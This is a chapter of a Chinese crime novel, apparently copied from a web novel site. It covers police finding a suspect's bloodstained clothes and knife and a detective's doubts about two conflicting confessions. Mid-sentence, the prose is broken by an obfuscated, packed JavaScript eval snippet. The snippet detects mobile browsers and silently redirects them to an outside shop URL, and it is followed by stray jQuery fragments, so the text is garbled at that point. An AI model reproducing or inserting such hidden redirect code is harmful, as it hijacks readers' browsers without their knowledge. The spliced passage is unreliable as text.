60.案发后第七天迷雾
作品:《泉眼无声》 夜里,搜查令下来,陈立荣带队赶往铁东区李舰家。
他们拉上窗帘关上门,喷上普米诺试剂,再关上灯,地板上全是发光的脚印,脚印延伸到洗手间,落在一个洗衣机里,洗衣机滚筒四周都发出荧光,尽管荧光很微弱。
他们在李舰的车里喷上鲁米诺试剂,也有微弱的荧光反应。
他们还在阳台发现了衣物燃烧后的纤维。
他们怀疑李舰把血衣带回家,并在家处理过血衣,但他们却没有找到任何有血迹的衣服,可能是先清洗过,后又烧了。
警察立即排查李舰七天内的行踪,发现他去过附近的三家废品厂,并且,去了三次距离最近的一家废品厂,该废品厂老板说:“他好像在找什么东西,但问他找什么,他又不说,只是自己站在纸壳堆里翻,如大海捞针。”
李舰的邻居回忆:“那天下了很大的暴雨,五楼的雨搭本来是用来防雨的,可是不知道为什么,水流大量流进四楼我们家的窗户缝里,我们不堪其苦,于是当晚上楼找李舰,没人应门,没办法我只能披上雨衣自行检查,我拿着手电筒朝上查看,雨太大,看不清什么,但似乎只需要在窗外再遮一块防雨绸就能暂时解决问题,可是我们家没有防雨绸,所以我下楼打算跟一楼的邻居老太太借一大块。正跟老太太说着话,恰好看到李舰的桑塔纳,车开到楼下,他却迟迟不下车,我敲窗往里看,他迟迟不动,我趴在窗上才勉强看到他似乎在脱衣服,他行为古怪,下车时没穿上衣,光着上半身,手中掐着一个西装外套和衬衫,他从车里拿出个纸壳箱,把衣服扔进去。我问他,雨水凉,怎么不穿衣服?他只说,没什么,衣服刮破了,不想要了,顺手扔掉。李舰便把手里的纸壳箱扔进旁边的垃圾堆。我说,你家漏水,我要去你家看看,他似乎不情愿。直到进了李舰家,他开了小夜灯,我这才勉强看到李舰腰部受了伤。我看他的裤子湿漉漉的,但因为裤子是黑色的,夜灯又暗,看不清出血量,我问他严重吗,流血多吗,他说是小伤。我查看过他家阳台的雨搭,因为堆满了货物,所以导致水流流进四楼的窗户缝里,李舰答应立即清理雨搭上的杂物,我便下楼回家了。现在想来,当时的血迹和伤口都很可疑。”
李舰家一楼的老太太说,“那天凌晨,我被轿车鸣笛声惊醒,看到李舰在擦桑塔纳。”
经常在附近出没的捡破烂老太太说,“这几天被李舰拦到过几次,李舰让我把东西给他,但我哪知道他要的是什么呀,我不给,他还跟我急。”
随后,一位年迈的老人来警局自首说是自己杀人,经过核实,其身份是李舰的七十岁老母。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
案发后第七天,夜里,天空雷声滚滚,风雨大作。
张朝走出审讯室。
谢东带他去食堂吃饭,张朝吊儿郎当,一双戏谑的眸子到处看,感叹道,“你还真请我吃晚饭。”
已经过了饭点,食堂没什么人,谢东给他打了一份红烧排骨,一份尖椒干豆腐,张朝一点不客气,埋头大快朵颐起来,腮帮子鼓鼓的,偶尔吐出一块骨头。
谢东静静地看着他,“味道怎么样?”
张朝道,“一般。”
谢东道,“但愿你一辈子都不用再来这里吃饭。”
张朝目不斜视,“吃个饭也能扯这么多大道理,你们大人是不是都喜欢这么一本正经地教育人?”
谢东道,“也不是,只对嫌疑人。”
张朝道,“其实你们骨子里对这些道理的认同感又有几分?你们真的会完全按照你们所说的那样冠冕堂皇地做事做人吗?”
谢东若有所思地望他,张朝质问,“你们大人就不会犯错吗?那谁来教育你们?是不是长大了就可以肆无忌惮做坏事?”
谢东还真被问住了,“只要不犯罪,确实没有人教育大人。”
张朝道,“你还算坦诚,不像某人。”
谢东道,“你父亲也喜欢讲大道理?”
张朝神色突然暗淡下来,眼里冒出雾气,他把饭菜拌一起,垂头扒饭,说,“有时候还挺希望他跟我讲讲道理的,比起讲道理,他更喜欢砸东西……”话说一半,他停住话锋,问,“你们会找到凶手吧?”
谢东深吸一口气,伸手拍拍他肩膀,“我们一定会找到凶手。”
张朝抬起手背抹了一下眼睛,抬头看谢东,“我能不能再打份排骨。”
谢东道,“不是说不好吃吗?”
张朝道,“我带走。”
谢东有几分惊讶,想不到张朝也会有这么细腻的一面,问,“要给你妈妈带回去?”
张朝道,“你只说给不给打?”
谢东给了他后脑勺一下,“敢威胁警察。”
谢东果真又打了两份排骨,张朝说了声谢就要走。
谢东问,“为什么不好好学习?”
张朝道,“不好好学习犯法吗?”
谢东道,“回去跟你妈说,尸体可以带回去火葬了。”
他们刚从食堂出来,便愕然停下了。
楼梯口,一个提着黑伞,拄着拐杖,全身湿漉漉的女人等在那里,她头发蓬乱,雨水顺着她的鬓角淌到衣襟上,眼睛抠喽得像一对黑洞,整个人立在在昏暗的走廊里像鬼。
张朝转身朝她跑去,接过雨伞,抱过女人的肩膀,女人全身的力气仿佛一下子都压在了少年身上一样,过分的依赖让谢东眯起眼睛。
他们拐进楼梯口,谢东站在窗口,看着窗外,一辆警车顶着大雨开进警察局大院,车灯在他们背后撒开一朵橘黄色的大菊花,年轻警察下车,撑起大黑伞,把车内新的嫌疑犯拉出来。
与此同时,少年和女人走出办公大楼,艰难而又沉重的背影在瓢泼大雨中一步步挣扎,挂在手腕上的排骨塑料袋,随着他们的踉跄,在大腿外侧悠荡来悠荡去。
谢东不爽,眉头拧成川字。
尽管案件看似进展很快,可他总是有一种妈的被人套了的感觉。
李舰如果拿着入学档案要挟张朝偷报修单,为什么会选择面馆那种人来人往的地方交易?
十八盘胡同路口的山西板面铺老板娘说:4号晚上,张朝的确和李舰一起在她那吃过面,还听到张朝提到过“被威胁”之类的话,也确实亲眼见过两人因入学档案拉拉扯扯。可如果张朝真的是被威胁,为什么还故意说出“威胁”二字让老板娘听到?被威胁如果也能大声讲出来,那就大概率说明够不成威胁。
况且,那个时间正好是矿泉水厂晚班职工下班时间,人来人往,李舰作为厂长,是很容易被人认出来并且记住的,这不合理。
张朝这个孩子不老实,嘴里没一实话,可他偏偏有不在场证明。
那么,他不是凶手,但背后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403618|134156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一定有着不为人知的隐秘,是什么让两个人迫不及待地在警察面前攻讦对方?
这太不寻常了。
谢东看着前后两套口供,究竟谁说的是真,谁说的是假?
或许真相就隐藏在两份口供的交集处。而两个人不一致的地方,全部都是谎言。
审讯室。
李舰皱眉思索着事件的发展过程,可以说,案件完全超乎他的预料。
谢东直言,“目前状况对你很不利。”
李舰推了推眼镜,“我完全不懂你在说什么。”
谢东点了根烟,同时也递给李舰一支香烟,“你家里和车里的血迹都证明你上过山。”
李舰眉头拧得更深,他叼起烟,顺势去接谢东递过来的打火机,随即低头点烟,火石转了几次才勉强引燃烟头,可当他再抬头时,眼中已经充满狡黠,伴随着迷雾缭绕的遮盖,整个人凸显出难搞的气质。
他开口,“我真的不懂你在说什么。”
谢东道,“认罪吧。”
李舰道,“我无罪可认。”
谢东道,“那么很多问题我想你有必要重新解释一遍。”
李舰道,“我没什么好说的,在律师到之前,我有权利保持沉默。”
谢东道,“你年迈的母亲来自首说是她杀了人,这件事你怎么看?”
李舰的脸上终于流露出一点痛苦的表情,可稍纵即逝,连刚刚那一点细小的表情变化似乎都是谢东的错觉,他谨慎沉着且波澜不惊,“有任何问题,请联络我的律师。”
他似乎不打算再说话了。
谢东起身,按住李舰的伤口,李舰吃痛。
谢东道,“身上的伤哪来的?”
沉默。
谢东道,“6月30日晚上归家前你已经受伤,你到家刚好是12点左右,完全具备杀人抛尸的时间。”
沉默。
谢东道,“你为什么要去废品站,你在找什么?是把血衣搞丢了?”
沉默。
火车站大钟整点敲响,传来凝重悠远的钟鸣,陈立荣推门进来,说,“找到血衣和凶器了。”
派出十几个警察连夜在李舰家附近的废品厂摸排,很快警察局接到废品厂老板打来的电话,他在纸壳箱里发现了一件西装外套,一件衬衫,还有一把剔骨刀,均晕染大量血迹,其中,西装内兜上刺绣着李舰的名字。
李舰想起那晚他开车抵达小区,他满身血迹,十分吓人,可偏偏讨厌的邻居在门口撞见了他,还敲窗跟他讲话,他知道他要立即处理掉那套衣服才行,虽然自己受伤,但是衬衫的血迹在胸口,为了不让人看见血迹引起不必要的麻烦,所以他不得已脱了衬衫和西装外套,拿纸箱装起来,他本想快速往家走,可是邻居非要跟他说话,还要去他家查看漏雨情况,纸壳箱会被血洇透吧,他也不确定。
为避免误会,他仓促间只得把纸箱扔进旁边的垃圾堆。
好在西装外套是黑色的,外套卷着衬衫和剔骨刀,又用纸箱遮盖,夜色又深,所以看不出来血迹。
回到家,他故意只开了小夜灯,不敢让邻居看出太多端倪,可当他送走了邻居,出门再找纸壳箱的时候,纸壳箱已经不见了。一定是被收破烂的老太太拿走了,他当时这样想。
“血衣是被张朝偷走的,张朝是故意的,他要陷害我,因为张朝和姜暮是凶手。”李舰急怒攻心。